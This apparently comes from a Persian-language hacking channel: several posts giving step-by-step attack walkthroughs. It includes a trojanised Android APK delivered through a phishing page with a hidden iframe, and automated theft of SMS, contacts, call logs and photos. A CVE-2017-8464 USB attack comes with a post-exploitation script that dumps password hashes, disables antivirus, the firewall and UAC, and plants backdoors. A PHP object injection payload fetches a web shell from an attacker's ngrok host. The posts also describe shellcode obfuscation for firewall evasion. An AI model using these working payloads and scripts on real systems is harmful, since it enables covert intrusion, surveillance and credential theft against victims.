Windows COM-DLL Handling-Filesystem-ICMP-Inifile-Internet Helper-Mutex-Network-Registry-Process-Category-Windows Services-System-Systeminfo-Thread-User-Virtual Memory-Window-Winsock-Protected-Storage-Windows-Hooks که شما برای شلکد تعریف میکنید دقیقا بر RCE پس دقت داشته باشید که رو برسی Mimic بستر چه سرویسی میتونه قدرت مانور مبهم سازی بیشتری داشته باشه اما بریم تکنیک به این صورت عمل میکنه که مقدار شلکد رو بصوت درختی و به هم ریخته برنامه نویسی میکه Mimic کنیم,تکنیک منظورم از درختی اینه که با شرط های تو در تو مقادیر چیده میشند نگاهی به این سبک در زیر بکنید

PUSH
DEC
MOV
0*1
0 1
CMP *
0 1
XCHG MOV

عملگری بر روی پشته قرار میگیره اما نکته اینه کدوم عملگر میخواد قرار بگیره؟ آیاPUSHدر اینجا با استفاده از دستور برای پاسخ دادن به این سوال باید برسی کنیم که این رمزنگاری چطور عمل میکنه اولین ?MOV یا XCHG یا CMP Steganography با استفاده از رمزنگاری PRNG نکته اینه که این رمزنگاری رو بر روی فایل فرمت های تصویری مثل تبدیل بشه به این صورت که داده های Mimic Function پیاده سازی میکنند یعنی داده باینری ما میره که به یک در String شلکد رو بصورت تصادفی شرط بندی میکنه و هر شرط رو تا سه بار تکرار میکنه و میدونه که هر عملگر یا قرار گرفته پس شلکد بصورت درختی و تصادفی چیده میشه و با رمزنگاری False یا True کدام شرط و کدام شرط میشه RPNG وارد فایل فرمت Steganography

تعریف Mimic Function شرط ها هست,اینها بصورت 0 و 1 در False یا True یک نکته مقادیر شرط ها منظورم میشوند مثالی میزنم

XOR

PUSH
DEC
*
0 1
* INC
0 1
MOV PUSH

در این ساختار درختی اگر ما مقدار باینری 00010100 رو ارسال کنیم به سه مقدار اول به معنی 0 0 0 یعنی شرط اول شرط اول شرط اول هست که در مثال وبالا شرط اول میشه 0 یعنی برو به شرطه بعدی شرط بعدی مقدار 0 رو مد نظر هست برای خروجی به ساختار سه شرطی و تو در تو در این نوع مبهم سازی میگن MOV داره یعنی مقدار Huffman Tree,

درختی هافمن را بر اساس فرکانس نماد ساخته می شود,در رمزنگای مقادیر ورودی با استفاده از درخت هوفمن به Symbols هم ریخته میشوند در ساختار یک درخت و برای رمزگشایی مقادیر هوفمن شده از داده با استفاده از شده بازیابی میکنیم,یک مثال ریز میزنم Accord هایی که

*
0 1
* s
0 1
m a

`Symbol: 1 = s | Symbol 00 = m | Symbol 01 = a (6bit) 000111 ==> > mass (32bit)` در اینجا ما یک
یعنی اگر در رمزگشایی ما s سمبل شدن معادل کارکتر Mimic درخت داریم که مقدار باینری 1 که در رمزنگاری و اگر مقدار 00 رو استفاده کنیم یعنی a مقدار باینری 1 رو بکار ببریم در ساختار درختی الگوریتم میره سراغ کاراکتر در مرحله اول درخت برو به چپ که در چپ هم یک شرط دیگه هست که به دلیل مقدار باینری دوم که اونم 0 هست اگر به این شکل ساختار رو تفسیر کنیم میبینیم که کلمه m یعنی باز برو به چپ و در نتیجه میشه 00 معادل کاراکتر معادل 000111 خواهد شد mass

این یک نمونه از مبهم سازی در بستر زبان ماشین هست که برای دور زدن فایروال ها خلاصه عرض کردم در آینده عمق خواهیم گرفت به این تاکتیک ها....

https://www.semanticscholar.org/paper/Normalizing-Metamorphic-Malware-Using-Term-Walenstein-Mathur/28a002585c8563d19e8d166379a83e3df9269b0b
https://nsuworks.nova.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=2006&context=gscis_etd
#APK Attack (Bind & SpearPhishing)
به اپلکیشن های معروف و گرفتن دسترسی Payload کردن Bind در خصوص حملات به سیستم عامل اندروید روش از اون ها مورد خوب و راحتی نسبت به حملاتی که به آسیب پذیری های حافظه ای در این سیستم عامل هست هم کمک میگیرم تا سناریو بسیار SpearPhishing حساب میشه که من اینجا از تکنیک مهندسی اجتماعی و واقعی تر به نظر بیاد...
-

-

-
Photo
قبل از انتخاب نوع برنامه نگاه به قربانی کنید ببینید فازش چیه :) مثلا خیلی ها با برنامه هایی مانند صیغه یاب و های سایت های قمار یا طلاگرام و غیره,اکی بریم سراغ پیاده APP امسال اینها خوب هک میشند یا برخی ها با رو انتخاب کردم واسه اینکار imoسازی سناریو, من برنامه

https://play.google.com/store/apps/details?id=com.imo.android.imoim&hl=en

از سایت گوگل پلی برنامه اصلی رو پیدا و لینکش رو کپی میکنیم و در ادامه در سایت زیر لینک برنامه رو داده تا سایت لینک دانلود برنامه رو به ما بده

https://apps.evozi.com/apk-downloader/

کنید Paste در سیستم عامل کالی root و در دایرکتوری imo.apk برنامه رو دانلود کردید اسمش رو تغییر بدید به نام رو روی سیستم عاملتون نصب و بر روی حساب کاربری NoIP و ترمینال خودتون رو باز کنید,نکته قبل از شروع,برنامه خودتون ست کنید

Open terminal
1.`noip2;noip2 -S;ifconfig;service postgresql start;service apache2 start;gnome-terminal --tab -e 'ngrok http 80'` 2.`nano autoand.rc` Added

```
sysinfo check_root getwd route geolocate screenshot dump_calllog dump_sms dump_contacts webcam_snap cd ../../../../../ cd /sdcard/DCIM/Camera download -r *
```
Ctrl+x > y > Enter

رو استارت کردیم و باز در ادامه با استفاده از Postgresql و Apache2 و سرویس NoIP در خط اول ما سرویس Post Exploitation یک دامنه ساختیم بر روی تب دیگه ای از ترمینال,اما در خط دوم من یک Ngrok سرویس اتوماتیک تعریف کردم که زمانی که دسترسی حاصل بشه از شماره تلفن ها تا عکس های گالری قربانی رو برای شما دانلود و استخراج خواهد کرد

3.`msfvenom -x imo.apk --platform android -a dalvik -p android/meterpreter/reverse_https LHOST=example.ddns.net LPORT=4141 -o /var/www/html/imo-b.apk` در این قسمت ما با استفاده از چرا که این پروتکل تداخلات و قطعی هایی که برای پایلود https یک پایلود از نوع imo بر روی برنامه msfvenom انتقال Apache2 شده رو به دایرکتوری Trojan اندرویدی ها معمولا پیش میاد رو نداره و باز در ادامه برنامه ها بس که از این ملت همیشه در ISP میدیم,درضمن یادتون نره که پورت 4141 رو فروارد کنید 4444 رو فروارد نکنید صحنه هک استفاده کردند بلکل مسدود کرده این نکات رو میگم که موقع امتحان پست به دلیل نداشتن تجربه کافی مارو فوش ندید که روشی که گفتند جواب نمیده :)))

4.`gnome-terminal --tab -e 'msfconsole -q -x "use multi/handler;set PAYLOAD android/meterpreter/reverse_https;set LHOST example.ddns.net;set LPORT 4141;set ReverseListenerBindAddress 192.168.1.4;set AutoRunScript autoand.rc;exploit -j"'` در اینجا ما خودمون رو هم براش تعریف میکنیم و دیگه باهاش Post exploitation قرار میدیم و Listing رو در حالت Metasploit

تمام کار های مورد نیاز مارو انجام خواهد داد autoand.rc کاری نداریم چرا که هر زمان دسترسی حاصل بشه خود

5.`wget -O /var/www/html/index.html -c -k -U "Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" "https://cafebazaar.ir/app/com.imo.android.imoim/?l=fa"` رو داره به خط imo یک سایت معتبر که برنامه
به قربانی بدم و بگم برو از این سایت Link اون رو برای ما بسازه چرا که من میخوام Phishing میدیم تا wget فرمان
دانلود کن و اینطوری سناریو قابل قبول تری داریم برای مهندسی اجتماعی خودمون

6.`sed -i 's#</body>#<iframe id="frame" src="imo-b.apk" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>\\n<script type="text/javascript">setTimeout(function(){window.location.href="https://cafebazaar.ir/app/com.imo.android.imoim/?l=fa";}, 15000);</script></body>#g' /var/www/html/index.html` اما در این
مارو به محض اینکه Trojan سایت دانلود شده یک کد تزریق کردم که برنامه source قسمت من اومدم و بر روی
خود سایت بوده و نکته بعدی که pop up قربانی لینک رو باز میکنه بهش پیشنهاد بده برای دانلود برنامه انگاری که
قرار داره رو به سایت اصلی یعنی خود سایت ngrok هست من بعد از گذشت ۱۵ ثانیه سایت رو که روی دامنه
جلو bazaar انتقال میدم و کاربر کافیه کمی دقت نکنه بعد که خواست حالا دقت کنه میبینه که سایت خود bazaar
قرار داشته ngrok سرویس DNS روش هست و نه سایت جعلی ما که بر بستر

7.`gnome-terminal --tab -e 'firefox https://e79129e7.ngrok.io'` رو ngrok در قسمتی که من لینک
گذاشتم شما میبایست لینک معتبر سرویس خودتون رو بزارید و با این دستور میتونید یک بار سناریو رو تست کنید
ببینید آیا مشکلی داره یا نه...

#USB Attack with CPL (Stuxnet)
داشتند صحبت خواهیم CPL در این پست راجب آسیب پذیری که سیستم عامل های ویندوز در خصوص فایل فرمت
CVE-2010-2568 با شناسه LNK فایل فرمت Autorun کرد چرا که این فایل فرمت به واسطه آسیب پذیری اجرای
که برای CPL میباشد اجرا شد,یک نکته ریز این ماجرا این است که ما راجب آسیب پذیری خود shortcut که برای
رو از روی CPL میباشد صحبت خواهیم کرد چرا که از بستر این فایل فرمت میتوان ماژول های Control Panel نوشتن
ثبت CVE-2017-8464اجرا کرد که همین موضوع آسیب پذیری با شناسه shared VM Folder حافظه های جانبی و
شده است.
http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm

میتونیم با استفاده از یک DLL هستش که همانند فایل فرمت DLL مثل یک فایل پیوند CPL به طور خلاصه، یک فایل
هستش,اما نکته جالبه این فایل فرمت روش های اجراش CPlApplet تابع استخراج بشه و عمل کنه اسم تابع
Double Click رو میتونیم با CPL,اجراش کرد DLL هستش در روش اول ما میتونیم بصورت دستی برخلاف فایل فرمت
ها با استفاده از خط فرمان CPL اجراش کنیم که این موضوع نکته جالبی هستش اما روش دوم برای اجرای
زیر نمونه ای از روش هستش Syntax هستش که

`control.exe file.cpl` اما روش های دیگری برای اجرای این فایل فرمت وجود داره ؟ بله مثلا میتوان از بستر زبان
VBScript ها CPL را هم به اجرا در آورد مثال:

`obj = CreateObject ("Shell.Application") obj.ControlPanelItem ("######.cpl")` اما اگر بخوایم
و Control_RunDLL بتوان با استفاده از توابع LNK بصورت خودکار عملیات بارگذاری رو انجام بدیم یعنی با اجرای یک

رو اجرا کنند تابع CPL استخراج میشه فایل فرمت های shell32.dll که از فایل Control_RunDLLAsUser دارای پارامتر های زیره Control_RunDLL:

`CPL file name` # نام فایل CPL
`Applet index` # شاخص اپلت
`Applet tab index` # شاخص برگه Applet

برای کار ندارد,هنگامی که برنامه راه اندازی multitabbed نیازی به بیش از یک اپلت یا CPL یک نرم افزار مخرب صدا زده شده و CPlApplet تابع CPL میشه، بدافزار هم میتونه کد مخرب خودش رو اجرا کنه,برای اجرای کدهای مفدار دهی میشه پارامترهای تابع CPlApplet:

`LONG CPlApplet( HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2 );` نکته جالب آسیب دارند رو PE32+و PE32 ها که ساختار استاندارد DLL ها اینه که این فایل فرمت دقیقا ساختار مشابه با CPL پذیری shortcut فایل های Dynamic که در خصوص اجرا شدن CVE-2015-0096 داره و زمانی که میخواد از آسیب پذیری CPL مورد نظر رو در Folder ID استعداد این وجود داره که SpecialFolderDataBlock شده ارائه شده , و با استفاده از بسیار کار رو برای LNK قرار بده که همین موضوع موجب دور خوردنش میشه,استفاده از آسیب پذیری whitelist در ویژوال استودیو ساخته و کد مخرب CPL آسان کرده کافیه ما یک فایل فرمت CPL Base اجرای نرم افزار های خودمون رو در این تابع قرار بدیم

`int CPlApplet(HWND hwndCPL, UINT message, LPARAM lParam1, LPARAM lParam2) { // محل قرار گرفتن کد مخرب پایلود... return 1; }` محسوب میشه پس ما DLL یک CPL و نکته آخر اینکه فایل فرمت هم نباشیم,بنابراین به شکل زیر ما میتونیم در CplApplet قرار بدیم تا در انتظار اجرای DllMain میتونیم اون رو صداش کنیم DllMain

`init` `CPL_INIT` `getcount` `CPL_GETCOUNT` `inquire` `CPL_INQUIRE` `select` `CPL_SELECT` `dblclk` `CPL_DBLCLK` `stop` `CPL_STOP` `exit` `CPL_EXIT` `newinquire` `CPL_NEWINQUIRE` `startwparms` `CPL_STARTWPARMS` `Otherwise,` `cpload` `will send all messages to CPlApplet()` ما با استفاده از این ماژول که اکسپلویتش در سال 2017 به متاسپلویت اضافه شده یک حمله رو ترتیب میدیم...

USB CPL-Attack
Visit & Register > https://dashboard.ngrok.com/user/signup
Visit & Copy (authtoken) > https://dashboard.ngrok.com/auth

من سعی کردم که این سناریو رو کامل بنویسم و یکسری نکات رو درونش قرار بدم اول اینکه ما با استفاده از سرویس Ngrok رو قرار دادم استفاده میکنم به دو دلیل اول اینکه ما از Token که بالا لینک های ثبت نام و دریافت به این سرویس آی پی Tor Proxy خلاص میشیم دوم اینکه بدلیل اتصال ما با استفاده از Port Forwarding بحث ما برای این سرویس ارسال نخواهد شد و ارتباطی که این سرویس با قربانی میگیره یک جورای میتونه ایمنی Real نشدن مارو برقرار کنه Forensic

Install Ngrok
Open terminal
1.`SHELL="#!" && echo "$SHELL/bin/bash" > /usr/bin/ngrok;echo '/usr/share/ngrok/ngrok "$@"' >> /usr/bin/ngrok;mkdir /usr/share/ngrok;chmod +x /usr/share/ngrok;chmod +x /usr/bin/ngrok;cd /usr/share/ngrok;wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip;unzip`

`ngrok-stable-linux-amd64.zip;rm ngrok-stable-linux-amd64.zip` رو نصب و Ngrok من در اینجا سرویس
خط فرمانی براش میسازم Icon یک

2.`apt-get install -y tor;echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf;service postgresql start;service tor start;cd ;ngrok authtoken` (authtoken)`;gnome-terminal --tab -e 'proxychains ngrok tcp 4444'` Copy Forwarding (PortTCP)

رو تعریف میکنیم و قدم Tor آی پی و پورت Proxychains رو نصب میکنیم و به Tor اما در این قسمت ما سرویس
به دست آوردیم این سرویس رو فعال و یک پورت رو ازش Ngrok که از سایت خود Token بعدی با استفاده از
درخواست میکنیم و پورتی که در ازای پورت 4444 به ما میده رو کپی میکنیم

Install Netripper

3.`git clone https://github.com/NytroRST/NetRipper.git;mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper;cp ~/NetRipper/Metasploit/netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/netripper/netripper.rb;cp ~/NetRipper/x86/DLL.x86.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.x86.dll;cp ~/NetRipper/x64/DLL.x64.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.x64.dll;rm -r NetRipper` رو بصورت اتوماتیک نصب میکنیم تا بتونیم بعد از Netripper اسکریپت Sniffer Local در این قسمت
کنیم SSL Sniff گرفتن دسترسی مرورگر قربانی رو

Cteate PostEXP

4.`nano autowin.rc` Added

```
run getgui -u ###### -p 12341234 run gettelnet -e run windows/manage/sticky_keys execute -i -H -f cmd.exe -a "/c net share AVI=c: /grant:everyone,full" reg createkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\ NT\\CurrentVersion\\Image\ File\ Execution\ Options\\OSK.exe -v Debugger -t REG_SZ -d "C:\windows\system32\cmd.exe" pkill msseces.exe run exploit/windows/local/bypassuac TECHNIQUE=PSH run windows/manage/priv_migrate getprivs getsystem getuid hashdump run multi/recon/local_exploit_suggester run windows/manage/killav execute -i -H -f cmd.exe -a "/c netsh firewall set opmode mode=disable" execute -i -H -f cmd.exe -a "/c netsh advfirewall set allprofiles state off" execute -i -H -f cmd.exe -a "/c sc config sharedaccess start= disabled" execute -i -H -f "REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f" execute -i -H -f cmd.exe -a '/c wmic product where name="Microsoft Security Client" call uninstall /nointeractive' execute -i -H -f cmd.exe -a '/c wmic product where name="Kaspersky Total Security" call uninstall /nointeractive' service_control wscsvc stop service_control windefend stop run windows/gather/netripper/netripper PROCESSNAMES=firefox.exe VERBOSE=true run windows/gather/checkvm run multi/gather/wlan_geolocate run windows/gather/enum_av_excluded execute -i -H -f cmd.exe -a "/c netsh wlan show profiles" execute -i -H -f cmd.exe -a "/c netsh wlan show profile name=* key=clear" background
```

Ctrl+x > y > Enter

نیمه کامل برای سیستم عامل ویندوز ساختم که در اولین قدم Post Exploitation در ایتم شماره 4 هم یک
به یک پراسس سطح بالا نوع دسترسی مارو ارتقا داده و Process Injection سیستم عامل رو با استفاده از تکنیک
کرده و باز در ادامه از بکدور ساختن و فعال کردن Recon در ادامه آسیب پذیری های موجود سیستم عامل رو

رو انجام خواهد داد Access Point کردن آنتی ویروس و رمز Uninstall بگیرید تا RDP و Telnet سرویس های

5.`msfconsole -q -x "use windows/fileformat/cve_2017_8464_lnk_rce;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 0.tcp.ngrok.io;set LPORT` (PortTCP)`;exploit -e x86/shikata_ga_nai;exit";mkdir /root/USB;mv /root/.msf4/local/* /root/USB;reset;msfconsole -q -x "use multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 127.0.0.1;set LPORT 4444;set ReverseListenerBindAddress 127.0.0.1;set StageEncoder true;set AutoRunScript autowin.rc;exploit -j"` یک نوع بدافزار cve_2017_8464_lnk_rce اما در قدم آخر ما با استفاده از اکسپلویت CPL قرار میدیم که شما از اونجا پایلود رو کپی کرده به /root/USB رو میسازیم و پایلودش رو در یک فولدر در آدرس کنید و کافیست فلش رو به سیستم قربانی اتصال بدید در صورت نداشتن آنتی Hidden خودتون و پایلود رو USB ویروس معتبر و بروز نبودن سیستم عامل قربانی هک شده و دسترسی برای شما حاصل خواهد شد...AVI

######/######/355
https://www.symantec.com/security-center/vulnerabilities/writeup/98818
https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py

#PHP Object Injection
PHP های Object که میتونه منجر به تزریق PHP در زبان Serialization در این پست ما در خصوص آسیب پذیری های شده هم بپردازیم چرا که از در این Serialize بشه صحبت کنیم,البته در راستای اون میخوایم به مفاهیم پارامترهای ...شده است Research های مختلف بسیار ثبت و Web Application سالها از این سبک آسیب پذیری برای
-
بپردازیم میبایست در خصوص این موضوع صحبت PHP به پلتفرم های Object خب قبل از اینکه راجب چگونگی تزریق به چه منظور و به چه شکل هستش چرا که امروزه CMS های یک Request کردن پارامترها در Serialize کنیم که ها هستش CMS این مکانیزم مورد استفاده بسیاری از,

فراهم می کنه, این HTTP یک مکانیزم برای ذخیره و بارگیری داده ها با انواع درخواست های مختلفPHP زبان برای فهم دقیقتر به مثال زیر نگاه میکنیم unserialize() و serialize() مکانیزم به دو تابع تقسیم میشه

```
<?php $object = new stdClass(); $object->data = "Some data!"; $cached = serialize($object);
```
شده تبدیل Serialize که از این شیء میگیره رو بصورت String مثال بالا یک شی جدیدی ایجاد میکنه و سپس میکنه,به این صورت

`O:8:"stdClass":1:{s:4:"data";s:10:"Some data!";}` خب Syntax مقدار Serialized شده بالا به این صورت هستش در ادامه عدد 8 به منظور تعیین String که عدد 0 به نشانه نوع مقدار داده هست که در اینجا نوع داده یک stdClass هم در مقابل عدد دیده میشه class هستش که اسم Class یک به مفهوم تعریف شدن یک symbol کردن اما باز در ادامه عدد 1 نشان دهنده تعداد خواص جسم سریال است که در داخل براکت های مجعد ذخیره شده این خواص میتونه از هر نوعی باشه مثلا

`arrays-integers-strings-objects-NULL` در این مثال، تنها یک ویژگی وجود داره اون هم اینه که نام متغیر در مقابل نام متغیر ذکر Serialize هست که در مقدار length هستش که 4 طول نام متغیر data 4 شده Serialize اومده و چون طول s بوده کلمه String شده طول داده اما باز در ادامه ما مقدار خود متغیر رو داریم که چون از نوع دیده میشه s داده 10 کاراکتر بوده عدد 10 در مقابل کاراکتر,

به تابع Request چه فرایندی شکل میگیره؟ همونطور که مشخصه Request کردن مقدار ورودی unserialize امابرای

داده خواهد شد کد زیر رو ببینید unserialize()

```
<?php $object = unserialize('O:8:"stdClass":1:{s:4:"data";s:10:"Some data!";}'); echo $object->data;
```

شده وارد شده که با همان قانونی که بالا توضیح دادم تابع مقدار Serialize در ورودی این تابع همون مقدار ها از این توابع چیه ؟ دلیل اینکه که به آسانی و به Developer رو درک و به اجرا در خواهد آورد اما دلیل استفاده ممکن session user ها ذخیره کنه، برای مثال در پایگاه داده ها یک Request در مورد PHP طور صحیح داده های با Global رو ذخیره کنه و بصورت Session اجرا بشه که مقدار class UserSession هست به عنوان یک نمونه از از اون بهره ببره $_SESSION استفاده از,

میتونه مخاطرات امنیتی رو هم بوجود بیاره چطور؟! اینطور که دقیقا در Developing اما یک ویژگی بسیار کار آمد در اون پلتفرم محتوای یک اجرای Syntax منتقل میشه اگر این ورودی با unserialize() قسمتی که ورودی کاربر به تابع داشته باشه میتونه موجب رخداد یک دسترسی بشه!!! مثال RCE کد یا:

```
<?php class LoggingClass { function __construct($filename, $content) { $this->filename = $filename . ".log"; $this->content = $content; }
function __destruct() { file_put_contents($this->filename, $this->content); } } $data = unserialize($_GET['data']);
```

بالا اول Class شده ارسال میشه به Serialize که بصورت Request در مثال بالا شده پارامتر های Serialize به همون صورت __destruct() فایل ساخته میشه و در ادامه با استفاده از تابع log نامی هست که در Log ساخته شده نام فایل Log دریافتی رو میخونه و رایتش میکنه بر روی فایل Request تعریف شده اما پس از این Request هست که در String هم مقدار Log فایل Content تعریف شده و Request هست و مقادیر LoggingClass که یا نام Class Object بصورت اتوماتیک ارتباط میگیره با __destruct() پروسه تابع رو به اجرا در خواهد آورد Object,

خب حالا یک هکر چطور میتونه سوءاستفاده کنه از این موضوع ؟ اگر دقت کنید یک فایلی داره ساخته میشه به هست درون فایل ذخیره Request که در String هست که همون اسم متغیر هست و مقدار Request اسمی که در میشه! خب کمی فکر کنید ببینیم چطور سوءاستفاده میشه کرد ؟ بله به این صورت که ما نام متغیر رو با فرمت یک که برای ما میتونه دسترسی رو ایجاد کنه Object PHP رو یک Request در String ارسال کنیم و محتوای PHP فایل که ما تعریف کردیم درونش رایت خواهد شد و نهایتا Object PHP ساخته و یک PHP جایگزین کنیم اینطوری یک فایل فایل اجرا و دسترسی حاصل خواهد شد یک نمونه از این سبک پایلودها را من نشون میدم بهتون

Open terminal

1.`ngrok http 80` 2.`service tor start;service apache2 start;weevely generate 0098 /var/www/html/weevely.txt` گرفتیم Ngrok از DNS گرفتیم و در ادامه یک weevely ما در اینجا یک شلکد از ابزار خودمون استفاده کنیم Shell که در پایلود برای دانلود

```
O:12:"LoggingClass":2:{s:8:"filename";s:11:"weevely.php";s:7:"content";s:78:"<?php system ('wget https://75c896cc.ngrok.io/weevely.txt -O ######.php'); ?>";}
```

خب ما در اینجا اسم فایلی که خودمون هست که با استفاده از تابع PHP و محتوای این فایل کد weevely.php میخوایم ساخته بشه رو دادیم با نام PHP ما از روی سیستم هکر که ما باشیم دانلود اقدام میکنه و اون فایل Shell برای دانلود wget میاد و یک system() اصلی ما هست ساخته میشه اینجا ما Shell ما یک فایل دیگه که PHP ما به اجرا در میاد که به سبب اجرای کد weevely آسیب پذیری فایل خودمون رو صدا کنیم تا اجرا بشه یک نکته دلیل استفاده من از Directory باید از روی ساخته میشه ما ######.php ما که به اسم shell ها هست اما در ادامه بعد از اجرای AntiSheller بایپس کردن Serialize میتونیم با دستور زیر به شل وصل و دسترسی رو داشته باشیم اما یک نکته کد تزریقی ما در پایلود خودتون رو استفاده کردید باید کل کد DNS خودمون به همون طول کاراکتری که داره باید عدد 78 تغییر کنه یعنی اگر

رو محاسبه کنید چند کاراکتر هست و اون عدد محاسبه رو بجای عدد 78 بگذارید

3.`proxychains weevely http://target/pressreleases/######.php 0098` خب این سبک آسیب پذیری در
بگیرید تا غیره رخ داده تا به امروز من یک لیست از این سبک آسیب پذیری های java پلتفرم های بسیاری از
Serialization رو براتون میزارم تا بیشتر آشنا شید,هم چنین ابزاری که مخصوص ساختن پایلودهای Serialization
هستش...

https://github.com/frohoff/ysoserial
http://php.net/manual/en/function.serialize.php
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

#PHP Core Vulnerabilities
رخ میده, میخوایم صحبت PHP مفسر خود زبان های Engine در این پست در خصوص آسیب پذیری هایی که در
(:بیس نفوذ کرد با استفاده از آسیب پذیری های حافظه؟ PHP های WebApplication کنیم و ببینیم آیا میشود به
-
آسیب پذیری های امنیتی محبوب به علت شیوه های برنامه نویسی بد یا اشتباهات برنامه نویسی رخ میده. اما
تنها php حتی زمانی که همه بهترین شیوه ها برای برنامه نویسی امن به دقت پیگیری می شوند، کد منبع برنامه
امن هستش. در این پست، ما خواهیم دید که چگونه php Core اون یعنی php به همان اندازه امنه که مترجم
میتونه امنیت برنامه رو تحت تاثیر قرار بده php اشکالات و آسیب پذیری های مربوط به حافظه در هسته,

نسخه 5 استفاده می کنند و php طراحی شدند php آمار ها نشون میده که 93 درصد وبسایت هایی که با زبان
استفاده php استفاده می کنند, مابقی هم از نسخه های ویرایشی زبان php 7 فقط 6 درصد از ورژن های جدید
php پشتیبانی نمی شود، هر چند, انتشار پچ در سال های گذشته مشکلات امنیتی هسته php 5.6 میکنند, ورژن
را رفع کرده است, اما تنها 62 درصد از تمام ورژن های استفاده شده در نسخه ۵ ورژن 5.6.30 بوده که در ژانویه
به آسیب پذیری های حافظه که در php 2017 آخرین پچ اون بروز شده,با این تفاسیر 79 درصد وبسایت های php
به این دلیل هستش که php رخ میده آسیب پذیر خواهند بود, یکی از دلایل بروز نکردن نسخه زبان interpreter
طراحان سایت که با یک ورژن خاصی یک وبسایت را طراحی کرده اند اگر بخوان بروز رسانی کنند کدهایی که نوشته
هایی که تا به امروز اتفاق افتاده رو مشاهده کنید Chenge Log اند بهم خواهند خورد

https://secure.php.net/manual/de/migration70.changed-functions.php

و کشف بشه میشه به عنوان Research آسیب پذیری php Core خب این نقطه ضعف خوبی میتونه باشه که اگر از
یک زبان php یک حفره طولانی مدت بهش نگاه کرد,اما این سبک آسیب پذیری هارو چگونه کشف کنیم, خب زبان
به همین دلیل نمیتونند باعث رخداد php سطح بالاست که قابلیت مدیریت سفارشی حافظه رو نداره, کدهای
انجام می شود که کد php بشوند,اما در عوض، مدیریت حافظه توسط مترجم Memory Corruption آسیب پذیری
Memory نوشته شده است و میتونه از آسیب پذیری c را بر روی وب سرور اجرا می کند, این مترجم در زبان php
بیش از 5،700 توابع و کلاس های ساخته شده است, اگر یکی از php تأثیر بگیره,در واقع، هسته Corruption
php Core شدن Exploit منجر به Memory Corruption ویژگی های اجرای داخلی توسط یک آسیب پذیری مثلا
فراخوانی میشه php از طریق کد Exploit بشه که این,

`<?php feature(); ---> PHP Interpreter (Zend Engine) ---> Core (C feature)` برخی از آسیب پذیری
هایی که در این خصوص کشف شده است:

`unserialize() < 7.0.15 Integer Overflow CVE-2017-5340 wddx_deserialize() < 7.0.15 NULL pointer dereference CVE-2016-10162 curl_escape() < 7.0.10 Buffer Overflow CVE-2016-7134 str_pad() < 7.0.4 Integer Overflow CVE-2016-4537 utf8_encode() < 7.0.4 Integer Overflow CVE-2016-4345 imagerotate() < 5.5.31 Incorrect Buffer Size CVE-2016-1903` Open terminal
1.`searchsploit PHP` 2.`cat /usr/share/exploitdb/exploits/php/dos/38122.txt` Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

...در پست های بعد برخی از این آسیب پذیری هارو باز کرده و تحلیل خواهم کرد

https://hackerone.com/reports/141956
https://www.owasp.org/index.php/Using_freed_memory
#Access Specifier in C++
Mitigation صحبت کنیم چرا که در دور زدن C++ در زبان برنامه نویسی Access Specifier میخوایم در خصوص مفهوم سیستم عامل های ویندوزی نقش بخصوصی بازی میکند همچنین در خصوص دور زدن قواعد یک برنامه هم مفهوم ...نقش برجسته ای ایفا خواهد کرد Access Specifier
-
استفاده کنیم به public: هنگامی که میخوایم در یک کلاس متغیری تعریف کنیم میبایست از عبارت C++ در زبان به این منظوره که ما بتونیم نوع Access Specifier گفته میشه, اما مفهوم Access Specifier این عبارت اصطلاحا c++ در زبان Access Specifier دسترسی ها رو برای توابع و متغیرهای یک کلاس تعیین کنیم, در نمای کلی سه استفاده Access Specifier که اگر شما در تعریف یک متغیر در کلاس از Public-Private-Protected داریم با نام های قرار میده که در این حالت فقط ما از متغیر میتونیم Private بصورت پیشفرض متغیرهارو در نوع دسترسی C++ نشه ,در توابع داخلی کلاس استفاده کنیم

#Private
در این حالت توابع و متغیرها فقط در خود کلاس قابل استفاده است

#Public
در این حالت توابع و متغیرها بصورت عمومی در دسترسی کل برنامه قرار میگیرند

#Protected
در این حالت توابع و متغیرها بصورت تعریف شده در دسترس خواهند بود

در Access Specifier در مقوله Class و Struct قبل از پرداختن به موضوعات اصلی این نکته رو بیان کنم که فرق بین و در کلاس ها توابع یا Public ها بصورت پیشفرض متغیرهایی که درون خود دارند از نوع Struct این است که میباشند, نکته دیگری که در ادامه بحث میتونه مفید باشه اینه که تابع Private متغیرهای که ساخته میشه بصورت یک کلاس رو میشه هم درون کلاس و هم بیرون اون کلاس تعریف کرد! و اگر ما بخواهیم تابعی رو بیرون یک کلاس و اون تابع رو درون کلاس تعریف و به اول نام تابع مذکور Function ProtoType برای اون کلاس تعریف کنیم میبایست رو همراه با دو :: اضافه کنیم اینطوری تابع بیرون از کلاس تعریف شده اما ارتباط خودش رو با کلاس به Class نام :روشی که عرض کردم بر قرار خواهد کرد مثال

```
#include <iostream> using namespace std; class dateClass { private: int day; int month; int year; public: void setDate(int, int, int); void printInfo() { cout << day << "/" << month << "/" << year << endl; } }; void dateClass::setDate(int d, int m, int y) { day = d; month = m; year = y; } int main() { dateClass date; date.setDate(2, 5, 2018); date.printInfo(); return 0;
```

